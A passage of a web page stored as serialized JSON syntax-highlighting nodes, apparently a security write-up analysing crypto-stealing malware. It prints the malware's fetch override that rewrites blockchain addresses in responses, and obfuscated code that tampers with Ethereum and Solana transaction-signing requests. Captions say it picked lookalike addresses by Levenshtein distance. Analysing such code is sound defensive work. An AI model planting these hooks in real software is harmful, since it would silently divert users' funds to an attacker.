,{"type":23,"tag":41,"props":97181,"children":97182},{"style":114},[97183],{"type":28,"value":97184},"      runmask",{"type":23,"tag":41,"props":97186,"children":97187},{"style":70},[97188],{"type":28,"value":3669},{"type":23,"tag":41,"props":97190,"children":97191},{"class":43,"line":195},[97192,97196,97200,97205,97209,97213],{"type":23,"tag":41,"props":97193,"children":97194},{"style":58},[97195],{"type":28,"value":39279},{"type":23,"tag":41,"props":97197,"children":97198},{"style":70},[97199],{"type":28,"value":142},{"type":23,"tag":41,"props":97201,"children":97202},{"style":858},[97203],{"type":28,"value":97204},"rund",{"type":23,"tag":41,"props":97206,"children":97207},{"style":170},[97208],{"type":28,"value":64382},{"type":23,"tag":41,"props":97210,"children":97211},{"style":164},[97212],{"type":28,"value":167},{"type":23,"tag":41,"props":97214,"children":97215},{"style":70},[97216],{"type":28,"value":152},{"type":23,"tag":41,"props":97218,"children":97219},{"class":43,"line":905},[97220,97225,97229,97233],{"type":23,"tag":41,"props":97221,"children":97222},{"style":858},[97223],{"type":28,"value":97224},"        rund",{"type":23,"tag":41,"props":97226,"children":97227},{"style":170},[97228],{"type":28,"value":3017},{"type":23,"tag":41,"props":97230,"children":97231},{"style":164},[97232],{"type":28,"value":167},{"type":23,"tag":41,"props":97234,"children":97235},{"style":70},[97236],{"type":28,"value":183},{"type":23,"tag":41,"props":97238,"children":97239},{"class":43,"line":922},[97240,97245,97249,97253],{"type":23,"tag":41,"props":97241,"children":97242},{"style":858},[97243],{"type":28,"value":97244},"        neth",{"type":23,"tag":41,"props":97246,"children":97247},{"style":170},[97248],{"type":28,"value":3017},{"type":23,"tag":41,"props":97250,"children":97251},{"style":164},[97252],{"type":28,"value":167},{"type":23,"tag":41,"props":97254,"children":97255},{"style":70},[97256],{"type":28,"value":183},{"type":23,"tag":41,"props":97258,"children":97259},{"class":43,"line":930},[97260,97265],{"type":23,"tag":41,"props":97261,"children":97262},{"style":114},[97263],{"type":28,"value":97264},"        newdlocal",{"type":23,"tag":41,"props":97266,"children":97267},{"style":70},[97268],{"type":28,"value":3669},{"type":23,"tag":41,"props":97270,"children":97271},{"class":43,"line":939},[97272],{"type":23,"tag":41,"props":97273,"children":97274},{"style":70},[97275],{"type":28,"value":12659},{"type":23,"tag":41,"props":97277,"children":97278},{"class":43,"line":947},[97279,97283,97287,97291,97295,97299,97303,97307],{"type":23,"tag":41,"props":97280,"children":97281},{"style":70},[97282],{"type":28,"value":15768},{"type":23,"tag":41,"props":97284,"children":97285},{"style":58},[97286],{"type":28,"value":3315},{"type":23,"tag":41,"props":97288,"children":97289},{"style":58},[97290],{"type":28,"value":2536},{"type":23,"tag":41,"props":97292,"children":97293},{"style":70},[97294],{"type":28,"value":142},{"type":23,"tag":41,"props":97296,"children":97297},{"style":858},[97298],{"type":28,"value":97204},{"type":23,"tag":41,"props":97300,"children":97301},{"style":170},[97302],{"type":28,"value":64382},{"type":23,"tag":41,"props":97304,"children":97305},{"style":164},[97306],{"type":28,"value":167},{"type":23,"tag":41,"props":97308,"children":97309},{"style":70},[97310],{"type":28,"value":152},{"type":23,"tag":41,"props":97312,"children":97313},{"class":43,"line":985},[97314,97319,97323,97327],{"type":23,"tag":41,"props":97315,"children":97316},{"style":858},[97317],{"type":28,"value":97318},"      rund",{"type":23,"tag":41,"props":97320,"children":97321},{"style":170},[97322],{"type":28,"value":3017},{"type":23,"tag":41,"props":97324,"children":97325},{"style":164},[97326],{"type":28,"value":167},{"type":23,"tag":41,"props":97328,"children":97329},{"style":70},[97330],{"type":28,"value":183},{"type":23,"tag":41,"props":97332,"children":97333},{"class":43,"line":1058},[97334,97339],{"type":23,"tag":41,"props":97335,"children":97336},{"style":114},[97337],{"type":28,"value":97338},"      newdlocal",{"type":23,"tag":41,"props":97340,"children":97341},{"style":70},[97342],{"type":28,"value":3669},{"type":23,"tag":41,"props":97344,"children":97345},{"class":43,"line":1084},[97346],{"type":23,"tag":41,"props":97347,"children":97348},{"style":70},[97349],{"type":28,"value":192},{"type":23,"tag":41,"props":97351,"children":97352},{"class":43,"line":1102},[97353],{"type":23,"tag":41,"props":97354,"children":97355},{"style":70},[97356],{"type":28,"value":5872},{"type":23,"tag":41,"props":97358,"children":97359},{"class":43,"line":1110},[97360],{"type":23,"tag":41,"props":97361,"children":97362},{"style":70},[97363],{"type":28,"value":201},{"type":23,"tag":5436,"props":97365,"children":97366},{"start":54},[97367],{"type":23,"tag":421,"props":97368,"children":97369},{},[97370],{"type":28,"value":97371},"Intercept HTTP requests/responses and replace blockchain addresses with the attacker's wallet: (modified code for better understanding)",{"type":23,"tag":31,"props":97373,"children":97375},{"code":97374,"language":31359,"meta":7,"className":31357,"style":7},"fetch = async function (...args) {\n  const originalResponse = await originalFetch.call(this, ...args);\n  const contentType = originalResponse.headers.get('Content-Type') || '';\n  let data;\n  if (contentType.includes('application/json')) {\n    data = await originalResponse.clone().json();\n  } else {\n    data = await originalResponse.clone().text();\n  }\n  const processedData = replaceAddresses(data);\n  const finalResponseText =\n    typeof processedData === 'string' ? processedData : JSON.stringify(processedData);\n  const finalResponse = new Response(finalResponseText, {\n    status: originalResponse.status,\n    statusText: originalResponse.statusText,\n    headers: originalResponse.headers,\n  });\n  return finalResponse;\n};\n",[97376],{"type":23,"tag":37,"props":97377,"children":97378},{"__ignoreMap":7},[97379,97414,97471,97533,97548,97585,97624,97639,97678,97685,97718,97734,97793,97831,97856,97881,97905,97913,97928],{"type":23,"tag":41,"props":97380,"children":97381},{"class":43,"line":44},[97382,97386,97390,97394,97398,97402,97406,97410],{"type":23,"tag":41,"props":97383,"children":97384},{"style":114},[97385],{"type":28,"value":34088},{"type":23,"tag":41,"props":97387,"children":97388},{"style":170},[97389],{"type":28,"value":3017},{"type":23,"tag":41,"props":97391,"children":97392},{"style":64},[97393],{"type":28,"value":36360},{"type":23,"tag":41,"props":97395,"children":97396},{"style":64},[97397],{"type":28,"value":669},{"type":23,"tag":41,"props":97399,"children":97400},{"style":70},[97401],{"type":28,"value":142},{"type":23,"tag":41,"props":97403,"children":97404},{"style":170},[97405],{"type":28,"value":9589},{"type":23,"tag":41,"props":97407,"children":97408},{"style":858},[97409],{"type":28,"value":38221},{"type":23,"tag":41,"props":97411,"children":97412},{"style":70},[97413],{"type":28,"value":152},{"type":23,"tag":41,"props":97415,"children":97416},{"class":43,"line":54},[97417,97421,97426,97430,97434,97439,97443,97447,97451,97455,97459,97463,97467],{"type":23,"tag":41,"props":97418,"children":97419},{"style":64},[97420],{"type":28,"value":36183},{"type":23,"tag":41,"props":97422,"children":97423},{"style":858},[97424],{"type":28,"value":97425}," originalResponse",{"type":23,"tag":41,"props":97427,"children":97428},{"style":170},[97429],{"type":28,"value":3017},{"type":23,"tag":41,"props":97431,"children":97432},{"style":58},[97433],{"type":28,"value":36206},{"type":23,"tag":41,"props":97435,"children":97436},{"style":858},[97437],{"type":28,"value":97438}," originalFetch",{"type":23,"tag":41,"props":97440,"children":97441},{"style":70},[97442],{"type":28,"value":706},{"type":23,"tag":41,"props":97444,"children":97445},{"style":114},[97446],{"type":28,"value":38289},{"type":23,"tag":41,"props":97448,"children":97449},{"style":70},[97450],{"type":28,"value":1737},{"type":23,"tag":41,"props":97452,"children":97453},{"style":64},[97454],{"type":28,"value":17680},{"type":23,"tag":41,"props":97456,"children":97457},{"style":70},[97458],{"type":28,"value":970},{"type":23,"tag":41,"props":97460,"children":97461},{"style":170},[97462],{"type":28,"value":9589},{"type":23,"tag":41,"props":97464,"children":97465},{"style":858},[97466],{"type":28,"value":38221},{"type":23,"tag":41,"props":97468,"children":97469},{"style":70},[97470],{"type":28,"value":3825},{"type":23,"tag":41,"props":97472,"children":97473},{"class":43,"line":76},[97474,97478,97483,97487,97491,97495,97500,97504,97508,97512,97517,97521,97525,97529],{"type":23,"tag":41,"props":97475,"children":97476},{"style":64},[97477],{"type":28,"value":36183},{"type":23,"tag":41,"props":97479,"children":97480},{"style":858},[97481],{"type":28,"value":97482}," contentType",{"type":23,"tag":41,"props":97484,"children":97485},{"style":170},[97486],{"type":28,"value":3017},{"type":23,"tag":41,"props":97488,"children":97489},{"style":858},[97490],{"type":28,"value":97425},{"type":23,"tag":41,"props":97492,"children":97493},{"style":70},[97494],{"type":28,"value":706},{"type":23,"tag":41,"props":97496,"children":97497},{"style":858},[97498],{"type":28,"value":97499},"headers",{"type":23,"tag":41,"props":97501,"children":97502},{"style":70},[97503],{"type":28,"value":706},{"type":23,"tag":41,"props":97505,"children":97506},{"style":114},[97507],{"type":28,"value":16340},{"type":23,"tag":41,"props":97509,"children":97510},{"style":70},[97511],{"type":28,"value":1737},{"type":23,"tag":41,"props":97513,"children":97514},{"style":735},[97515],{"type":28,"value":97516},"'Content-Type'",{"type":23,"tag":41,"props":97518,"children":97519},{"style":70},[97520],{"type":28,"value":866},{"type":23,"tag":41,"props":97522,"children":97523},{"style":170},[97524],{"type":28,"value":22405},{"type":23,"tag":41,"props":97526,"children":97527},{"style":735},[97528],{"type":28,"value":31833},{"type":23,"tag":41,"props":97530,"children":97531},{"style":70},[97532],{"type":28,"value":183},{"type":23,"tag":41,"props":97534,"children":97535},{"class":43,"line":85},[97536,97540,97544],{"type":23,"tag":41,"props":97537,"children":97538},{"style":64},[97539],{"type":28,"value":7855},{"type":23,"tag":41,"props":97541,"children":97542},{"style":858},[97543],{"type":28,"value":15096},{"type":23,"tag":41,"props":97545,"children":97546},{"style":70},[97547],{"type":28,"value":183},{"type":23,"tag":41,"props":97549,"children":97550},{"class":43,"line":105},[97551,97555,97559,97564,97568,97572,97576,97581],{"type":23,"tag":41,"props":97552,"children":97553},{"style":58},[97554],{"type":28,"value":31388},{"type":23,"tag":41,"props":97556,"children":97557},{"style":70},[97558],{"type":28,"value":142},{"type":23,"tag":41,"props":97560,"children":97561},{"style":858},[97562],{"type":28,"value":97563},"contentType",{"type":23,"tag":41,"props":97565,"children":97566},{"style":70},[97567],{"type":28,"value":706},{"type":23,"tag":41,"props":97569,"children":97570},{"style":114},[97571],{"type":28,"value":35175},{"type":23,"tag":41,"props":97573,"children":97574},{"style":70},[97575],{"type":28,"value":1737},{"type":23,"tag":41,"props":97577,"children":97578},{"style":735},[97579],{"type":28,"value":97580},"'application/json'",{"type":23,"tag":41,"props":97582,"children":97583},{"style":70},[97584],{"type":28,"value":35188},{"type":23,"tag":41,"props":97586,"children":97587},{"class":43,"line":155},[97588,97592,97596,97600,97604,97608,97612,97616,97620],{"type":23,"tag":41,"props":97589,"children":97590},{"style":858},[97591],{"type":28,"value":43223},{"type":23,"tag":41,"props":97593,"children":97594},{"style":170},[97595],{"type":28,"value":3017},{"type":23,"tag":41,"props":97597,"children":97598},{"style":58},[97599],{"type":28,"value":36206},{"type":23,"tag":41,"props":97601,"children":97602},{"style":858},[97603],{"type":28,"value":97425},{"type":23,"tag":41,"props":97605,"children":97606},{"style":70},[97607],{"type":28,"value":706},{"type":23,"tag":41,"props":97609,"children":97610},{"style":114},[97611],{"type":28,"value":15411},{"type":23,"tag":41,"props":97613,"children":97614},{"style":70},[97615],{"type":28,"value":2463},{"type":23,"tag":41,"props":97617,"children":97618},{"style":114},[97619],{"type":28,"value":33991},{"type":23,"tag":41,"props":97621,"children":97622},{"style":70},[97623],{"type":28,"value":3669},{"type":23,"tag":41,"props":97625,"children":97626},{"class":43,"line":186},[97627,97631,97635],{"type":23,"tag":41,"props":97628,"children":97629},{"style":70},[97630],{"type":28,"value":31462},{"type":23,"tag":41,"props":97632,"children":97633},{"style":58},[97634],{"type":28,"value":3315},{"type":23,"tag":41,"props":97636,"children":97637},{"style":70},[97638],{"type":28,"value":102},{"type":23,"tag":41,"props":97640,"children":97641},{"class":43,"line":195},[97642,97646,97650,97654,97658,97662,97666,97670,97674],{"type":23,"tag":41,"props":97643,"children":97644},{"style":858},[97645],{"type":28,"value":43223},{"type":23,"tag":41,"props":97647,"children":97648},{"style":170},[97649],{"type":28,"value":3017},{"type":23,"tag":41,"props":97651,"children":97652},{"style":58},[97653],{"type":28,"value":36206},{"type":23,"tag":41,"props":97655,"children":97656},{"style":858},[97657],{"type":28,"value":97425},{"type":23,"tag":41,"props":97659,"children":97660},{"style":70},[97661],{"type":28,"value":706},{"type":23,"tag":41,"props":97663,"children":97664},{"style":114},[97665],{"type":28,"value":15411},{"type":23,"tag":41,"props":97667,"children":97668},{"style":70},[97669],{"type":28,"value":2463},{"type":23,"tag":41,"props":97671,"children":97672},{"style":114},[97673],{"type":28,"value":28},{"type":23,"tag":41,"props":97675,"children":97676},{"style":70},[97677],{"type":28,"value":3669},{"type":23,"tag":41,"props":97679,"children":97680},{"class":43,"line":905},[97681],{"type":23,"tag":41,"props":97682,"children":97683},{"style":70},[97684],{"type":28,"value":5872},{"type":23,"tag":41,"props":97686,"children":97687},{"class":43,"line":922},[97688,97692,97697,97701,97706,97710,97714],{"type":23,"tag":41,"props":97689,"children":97690},{"style":64},[97691],{"type":28,"value":36183},{"type":23,"tag":41,"props":97693,"children":97694},{"style":858},[97695],{"type":28,"value":97696}," processedData",{"type":23,"tag":41,"props":97698,"children":97699},{"style":170},[97700],{"type":28,"value":3017},{"type":23,"tag":41,"props":97702,"children":97703},{"style":114},[97704],{"type":28,"value":97705}," replaceAddresses",{"type":23,"tag":41,"props":97707,"children":97708},{"style":70},[97709],{"type":28,"value":1737},{"type":23,"tag":41,"props":97711,"children":97712},{"style":858},[97713],{"type":28,"value":3701},{"type":23,"tag":41,"props":97715,"children":97716},{"style":70},[97717],{"type":28,"value":3825},{"type":23,"tag":41,"props":97719,"children":97720},{"class":43,"line":930},[97721,97725,97730],{"type":23,"tag":41,"props":97722,"children":97723},{"style":64},[97724],{"type":28,"value":36183},{"type":23,"tag":41,"props":97726,"children":97727},{"style":858},[97728],{"type":28,"value":97729}," finalResponseText",{"type":23,"tag":41,"props":97731,"children":97732},{"style":170},[97733],{"type":28,"value":35850},{"type":23,"tag":41,"props":97735,"children":97736},{"class":43,"line":939},[97737,97742,97746,97750,97755,97760,97764,97768,97772,97776,97780,97784,97789],{"type":23,"tag":41,"props":97738,"children":97739},{"style":64},[97740],{"type":28,"value":97741},"    typeof",{"type":23,"tag":41,"props":97743,"children":97744},{"style":858},[97745],{"type":28,"value":97696},{"type":23,"tag":41,"props":97747,"children":97748},{"style":170},[97749],{"type":28,"value":31416},{"type":23,"tag":41,"props":97751,"children":97752},{"style":735},[97753],{"type":28,"value":97754}," 'string'",{"type":23,"tag":41,"props":97756,"children":97757},{"style":170},[97758],{"type":28,"value":97759}," ?",{"type":23,"tag":41,"props":97761,"children":97762},{"style":858},[97763],{"type":28,"value":97696},{"type":23,"tag":41,"props":97765,"children":97766},{"style":170},[97767],{"type":28,"value":35110},{"type":23,"tag":41,"props":97769,"children":97770},{"style":858},[97771],{"type":28,"value":37523},{"type":23,"tag":41,"props":97773,"children":97774},{"style":70},[97775],{"type":28,"value":706},{"type":23,"tag":41,"props":97777,"children":97778},{"style":114},[97779],{"type":28,"value":39225},{"type":23,"tag":41,"props":97781,"children":97782},{"style":70},[97783],{"type":28,"value":1737},{"type":23,"tag":41,"props":97785,"children":97786},{"style":858},[97787],{"type":28,"value":97788},"processedData",{"type":23,"tag":41,"props":97790,"children":97791},{"style":70},[97792],{"type":28,"value":3825},{"type":23,"tag":41,"props":97794,"children":97795},{"class":43,"line":947},[97796,97800,97805,97809,97813,97818,97822,97827],{"type":23,"tag":41,"props":97797,"children":97798},{"style":64},[97799],{"type":28,"value":36183},{"type":23,"tag":41,"props":97801,"children":97802},{"style":858},[97803],{"type":28,"value":97804}," finalResponse",{"type":23,"tag":41,"props":97806,"children":97807},{"style":170},[97808],{"type":28,"value":3017},{"type":23,"tag":41,"props":97810,"children":97811},{"style":64},[97812],{"type":28,"value":31927},{"type":23,"tag":41,"props":97814,"children":97815},{"style":114},[97816],{"type":28,"value":97817}," Response",{"type":23,"tag":41,"props":97819,"children":97820},{"style":70},[97821],{"type":28,"value":1737},{"type":23,"tag":41,"props":97823,"children":97824},{"style":858},[97825],{"type":28,"value":97826},"finalResponseText",{"type":23,"tag":41,"props":97828,"children":97829},{"style":70},[97830],{"type":28,"value":48876},{"type":23,"tag":41,"props":97832,"children":97833},{"class":43,"line":985},[97834,97839,97843,97847,97852],{"type":23,"tag":41,"props":97835,"children":97836},{"style":858},[97837],{"type":28,"value":97838},"    status:",{"type":23,"tag":41,"props":97840,"children":97841},{"style":858},[97842],{"type":28,"value":97425},{"type":23,"tag":41,"props":97844,"children":97845},{"style":70},[97846],{"type":28,"value":706},{"type":23,"tag":41,"props":97848,"children":97849},{"style":858},[97850],{"type":28,"value":97851},"status",{"type":23,"tag":41,"props":97853,"children":97854},{"style":70},[97855],{"type":28,"value":3506},{"type":23,"tag":41,"props":97857,"children":97858},{"class":43,"line":1058},[97859,97864,97868,97872,97877],{"type":23,"tag":41,"props":97860,"children":97861},{"style":858},[97862],{"type":28,"value":97863},"    statusText:",{"type":23,"tag":41,"props":97865,"children":97866},{"style":858},[97867],{"type":28,"value":97425},{"type":23,"tag":41,"props":97869,"children":97870},{"style":70},[97871],{"type":28,"value":706},{"type":23,"tag":41,"props":97873,"children":97874},{"style":858},[97875],{"type":28,"value":97876},"statusText",{"type":23,"tag":41,"props":97878,"children":97879},{"style":70},[97880],{"type":28,"value":3506},{"type":23,"tag":41,"props":97882,"children":97883},{"class":43,"line":1084},[97884,97889,97893,97897,97901],{"type":23,"tag":41,"props":97885,"children":97886},{"style":858},[97887],{"type":28,"value":97888},"    headers:",{"type":23,"tag":41,"props":97890,"children":97891},{"style":858},[97892],{"type":28,"value":97425},{"type":23,"tag":41,"props":97894,"children":97895},{"style":70},[97896],{"type":28,"value":706},{"type":23,"tag":41,"props":97898,"children":97899},{"style":858},[97900],{"type":28,"value":97499},{"type":23,"tag":41,"props":97902,"children":97903},{"style":70},[97904],{"type":28,"value":3506},{"type":23,"tag":41,"props":97906,"children":97907},{"class":43,"line":1102},[97908],{"type":23,"tag":41,"props":97909,"children":97910},{"style":70},[97911],{"type":28,"value":97912},"  });\n",{"type":23,"tag":41,"props":97914,"children":97915},{"class":43,"line":1110},[97916,97920,97924],{"type":23,"tag":41,"props":97917,"children":97918},{"style":58},[97919],{"type":28,"value":39191},{"type":23,"tag":41,"props":97921,"children":97922},{"style":858},[97923],{"type":28,"value":97804},{"type":23,"tag":41,"props":97925,"children":97926},{"style":70},[97927],{"type":28,"value":183},{"type":23,"tag":41,"props":97929,"children":97930},{"class":43,"line":1118},[97931],{"type":23,"tag":41,"props":97932,"children":97933},{"style":70},[97934],{"type":28,"value":936},{"type":23,"tag":5436,"props":97936,"children":97937},{"start":76},[97938],{"type":23,"tag":421,"props":97939,"children":97940},{},[97941],{"type":28,"value":97942},"The malware intercepted wallet requests and silently replaced the receiver address with the attacker address. Instead of a blunt substitution, it used the Levenshtein distance algorithm to pick a lookalike address, which made it harder for victims to notice funds being siphoned.",{"type":23,"tag":31,"props":97944,"children":97946},{"code":97945,"language":31359,"meta":7,"className":31357,"style":7},"if (_0x2c3d7e.method === 'eth_sendTransaction' && _0x2c3d7e.params && _0x2c3d7e.params[0]) {\n  try {\n    const _0x39ad21 = _0x1089ae(_0x2c3d7e.params[0], true);\n    _0x2c3d7e.params[0] = _0x39ad21;\n  } catch (_0x226343) {}\n} else {\n  if (\n    (_0x2c3d7e.method === 'solana_signTransaction' ||\n      _0x2c3d7e.method === 'solana_signAndSendTransaction') &&\n    _0x2c3d7e.params &&\n    _0x2c3d7e.params[0]\n  ) {\n    try {\n      let _0x5ad975 = _0x2c3d7e.params[0];\n      if (_0x5ad975.transaction) {\n        _0x5ad975 = _0x5ad975.transaction;\n      }\n      const _0x5dbe63 = _0x1089ae(_0x5ad975, false);\n      if (_0x2c3d7e.params[0].transaction) {\n        _0x2c3d7e.params[0].transaction = _0x5dbe63;\n      } else {\n        _0x2c3d7e.params[0] = _0x5dbe63;\n      }\n    } catch (_0x4b99fd) {}\n  }\n}\n",[97947],{"type":23,"tag":37,"props":97948,"children":97949},{"__ignoreMap":7},[97950,98029,98040,98097,98137,98162,98177,98188,98222,98255,98274,98301,98309,98320,98360,98389,98417,98424,98464,98507,98551,98566,98605,98612,98636,98643],{"type":23,"tag":41,"props":97951,"children":97952},{"class":43,"line":44},[97953,97957,97961,97966,97970,97974,97978,97983,97987,97992,97996,98001,98005,98009,98013,98017,98021,98025],{"type":23,"tag":41,"props":97954,"children":97955},{"style":58},[97956],{"type":28,"value":368},{"type":23,"tag":41,"props":97958,"children":97959},{"style":70},[97960],{"type":28,"value":142},{"type":23,"tag":41,"props":97962,"children":97963},{"style":858},[97964],{"type":28,"value":97965},"_0x2c3d7e",{"type":23,"tag":41,"props":97967,"children":97968},{"style":70},[97969],{"type":28,"value":706},{"type":23,"tag":41,"props":97971,"children":97972},{"style":858},[97973],{"type":28,"value":38306},{"type":23,"tag":41,"props":97975,"children":97976},{"style":170},[97977],{"type":28,"value":31416},{"type":23,"tag":41,"props":97979,"children":97980},{"style":735},[97981],{"type":28,"value":97982}," 'eth_sendTransaction'",{"type":23,"tag":41,"props":97984,"children":97985},{"style":170},[97986],{"type":28,"value":2472},{"type":23,"tag":41,"props":97988,"children":97989},{"style":858},[97990],{"type":28,"value":97991}," _0x2c3d7e",{"type":23,"tag":41,"props":97993,"children":97994},{"style":70},[97995],{"type":28,"value":706},{"type":23,"tag":41,"props":97997,"children":97998},{"style":858},[97999],{"type":28,"value":98000},"params",{"type":23,"tag":41,"props":98002,"children":98003},{"style":170},[98004],{"type":28,"value":2472},{"type":23,"tag":41,"props":98006,"children":98007},{"style":858},[98008],{"type":28,"value":97991},{"type":23,"tag":41,"props":98010,"children":98011},{"style":70},[98012],{"type":28,"value":706},{"type":23,"tag":41,"props":98014,"children":98015},{"style":858},[98016],{"type":28,"value":98000},{"type":23,"tag":41,"props":98018,"children":98019},{"style":70},[98020],{"type":28,"value":312},{"type":23,"tag":41,"props":98022,"children":98023},{"style":164},[98024],{"type":28,"value":4024},{"type":23,"tag":41,"props":98026,"children":98027},{"style":70},[98028],{"type":28,"value":40614},{"type":23,"tag":41,"props":98030,"children":98031},{"class":43,"line":54},[98032,98036],{"type":23,"tag":41,"props":98033,"children":98034},{"style":58},[98035],{"type":28,"value":97068},{"type":23,"tag":41,"props":98037,"children":98038},{"style":70},[98039],{"type":28,"value":102},{"type":23,"tag":41,"props":98041,"children":98042},{"class":43,"line":76},[98043,98047,98052,98056,98061,98065,98069,98073,98077,98081,98085,98089,98093],{"type":23,"tag":41,"props":98044,"children":98045},{"style":64},[98046],{"type":28,"value":51663},{"type":23,"tag":41,"props":98048,"children":98049},{"style":858},[98050],{"type":28,"value":98051}," _0x39ad21",{"type":23,"tag":41,"props":98053,"children":98054},{"style":170},[98055],{"type":28,"value":3017},{"type":23,"tag":41,"props":98057,"children":98058},{"style":114},[98059],{"type":28,"value":98060}," _0x1089ae",{"type":23,"tag":41,"props":98062,"children":98063},{"style":70},[98064],{"type":28,"value":1737},{"type":23,"tag":41,"props":98066,"children":98067},{"style":858},[98068],{"type":28,"value":97965},{"type":23,"tag":41,"props":98070,"children":98071},{"style":70},[98072],{"type":28,"value":706},{"type":23,"tag":41,"props":98074,"children":98075},{"style":858},[98076],{"type":28,"value":98000},{"type":23,"tag":41,"props":98078,"children":98079},{"style":70},[98080],{"type":28,"value":312},{"type":23,"tag":41,"props":98082,"children":98083},{"style":164},[98084],{"type":28,"value":4024},{"type":23,"tag":41,"props":98086,"children":98087},{"style":70},[98088],{"type":28,"value":23047},{"type":23,"tag":41,"props":98090,"children":98091},{"style":64},[98092],{"type":28,"value":3996},{"type":23,"tag":41,"props":98094,"children":98095},{"style":70},[98096],{"type":28,"value":3825},{"type":23,"tag":41,"props":98098,"children":98099},{"class":43,"line":85},[98100,98105,98109,98113,98117,98121,98125,98129,98133],{"type":23,"tag":41,"props":98101,"children":98102},{"style":858},[98103],{"type":28,"value":98104},"    _0x2c3d7e",{"type":23,"tag":41,"props":98106,"children":98107},{"style":70},[98108],{"type":28,"value":706},{"type":23,"tag":41,"props":98110,"children":98111},{"style":858},[98112],{"type":28,"value":98000},{"type":23,"tag":41,"props":98114,"children":98115},{"style":70},[98116],{"type":28,"value":312},{"type":23,"tag":41,"props":98118,"children":98119},{"style":164},[98120],{"type":28,"value":4024},{"type":23,"tag":41,"props":98122,"children":98123},{"style":70},[98124],{"type":28,"value":8659},{"type":23,"tag":41,"props":98126,"children":98127},{"style":170},[98128],{"type":28,"value":2381},{"type":23,"tag":41,"props":98130,"children":98131},{"style":858},[98132],{"type":28,"value":98051},{"type":23,"tag":41,"props":98134,"children":98135},{"style":70},[98136],{"type":28,"value":183},{"type":23,"tag":41,"props":98138,"children":98139},{"class":43,"line":105},[98140,98144,98148,98152,98157],{"type":23,"tag":41,"props":98141,"children":98142},{"style":70},[98143],{"type":28,"value":31462},{"type":23,"tag":41,"props":98145,"children":98146},{"style":58},[98147],{"type":28,"value":48405},{"type":23,"tag":41,"props":98149,"children":98150},{"style":70},[98151],{"type":28,"value":142},{"type":23,"tag":41,"props":98153,"children":98154},{"style":858},[98155],{"type":28,"value":98156},"_0x226343",{"type":23,"tag":41,"props":98158,"children":98159},{"style":70},[98160],{"type":28,"value":98161},") {}\n",{"type":23,"tag":41,"props":98163,"children":98164},{"class":43,"line":155},[98165,98169,98173],{"type":23,"tag":41,"props":98166,"children":98167},{"style":70},[98168],{"type":28,"value":46867},{"type":23,"tag":41,"props":98170,"children":98171},{"style":58},[98172],{"type":28,"value":3315},{"type":23,"tag":41,"props":98174,"children":98175},{"style":70},[98176],{"type":28,"value":102},{"type":23,"tag":41,"props":98178,"children":98179},{"class":43,"line":186},[98180,98184],{"type":23,"tag":41,"props":98181,"children":98182},{"style":58},[98183],{"type":28,"value":31388},{"type":23,"tag":41,"props":98185,"children":98186},{"style":70},[98187],{"type":28,"value":78561},{"type":23,"tag":41,"props":98189,"children":98190},{"class":43,"line":195},[98191,98196,98200,98204,98208,98212,98217],{"type":23,"tag":41,"props":98192,"children":98193},{"style":70},[98194],{"type":28,"value":98195},"    (",{"type":23,"tag":41,"props":98197,"children":98198},{"style":858},[98199],{"type":28,"value":97965},{"type":23,"tag":41,"props":98201,"children":98202},{"style":70},[98203],{"type":28,"value":706},{"type":23,"tag":41,"props":98205,"children":98206},{"style":858},[98207],{"type":28,"value":38306},{"type":23,"tag":41,"props":98209,"children":98210},{"style":170},[98211],{"type":28,"value":31416},{"type":23,"tag":41,"props":98213,"children":98214},{"style":735},[98215],{"type":28,"value":98216}," 'solana_signTransaction'",{"type":23,"tag":41,"props":98218,"children":98219},{"style":170},[98220],{"type":28,"value":98221}," ||\n",{"type":23,"tag":41,"props":98223,"children":98224},{"class":43,"line":905},[98225,98230,98234,98238,98242,98247,98251],{"type":23,"tag":41,"props":98226,"children":98227},{"style":858},[98228],{"type":28,"value":98229},"      _0x2c3d7e",{"type":23,"tag":41,"props":98231,"children":98232},{"style":70},[98233],{"type":28,"value":706},{"type":23,"tag":41,"props":98235,"children":98236},{"style":858},[98237],{"type":28,"value":38306},{"type":23,"tag":41,"props":98239,"children":98240},{"style":170},[98241],{"type":28,"value":31416},{"type":23,"tag":41,"props":98243,"children":98244},{"style":735},[98245],{"type":28,"value":98246}," 'solana_signAndSendTransaction'",{"type":23,"tag":41,"props":98248,"children":98249},{"style":70},[98250],{"type":28,"value":866},{"type":23,"tag":41,"props":98252,"children":98253},{"style":170},[98254],{"type":28,"value":83809},{"type":23,"tag":41,"props":98256,"children":98257},{"class":43,"line":922},[98258,98262,98266,98270],{"type":23,"tag":41,"props":98259,"children":98260},{"style":858},[98261],{"type":28,"value":98104},{"type":23,"tag":41,"props":98263,"children":98264},{"style":70},[98265],{"type":28,"value":706},{"type":23,"tag":41,"props":98267,"children":98268},{"style":858},[98269],{"type":28,"value":98000},{"type":23,"tag":41,"props":98271,"children":98272},{"style":170},[98273],{"type":28,"value":52679},{"type":23,"tag":41,"props":98275,"children":98276},{"class":43,"line":930},[98277,98281,98285,98289,98293,98297],{"type":23,"tag":41,"props":98278,"children":98279},{"style":858},[98280],{"type":28,"value":98104},{"type":23,"tag":41,"props":98282,"children":98283},{"style":70},[98284],{"type":28,"value":706},{"type":23,"tag":41,"props":98286,"children":98287},{"style":858},[98288],{"type":28,"value":98000},{"type":23,"tag":41,"props":98290,"children":98291},{"style":70},[98292],{"type":28,"value":312},{"type":23,"tag":41,"props":98294,"children":98295},{"style":164},[98296],{"type":28,"value":4024},{"type":23,"tag":41,"props":98298,"children":98299},{"style":70},[98300],{"type":28,"value":11769},{"type":23,"tag":41,"props":98302,"children":98303},{"class":43,"line":939},[98304],{"type":23,"tag":41,"props":98305,"children":98306},{"style":70},[98307],{"type":28,"value":98308},"  ) {\n",{"type":23,"tag":41,"props":98310,"children":98311},{"class":43,"line":947},[98312,98316],{"type":23,"tag":41,"props":98313,"children":98314},{"style":58},[98315],{"type":28,"value":69978},{"type":23,"tag":41,"props":98317,"children":98318},{"style":70},[98319],{"type":28,"value":102},{"type":23,"tag":41,"props":98321,"children":98322},{"class":43,"line":985},[98323,98327,98332,98336,98340,98344,98348,98352,98356],{"type":23,"tag":41,"props":98324,"children":98325},{"style":64},[98326],{"type":28,"value":8074},{"type":23,"tag":41,"props":98328,"children":98329},{"style":858},[98330],{"type":28,"value":98331}," 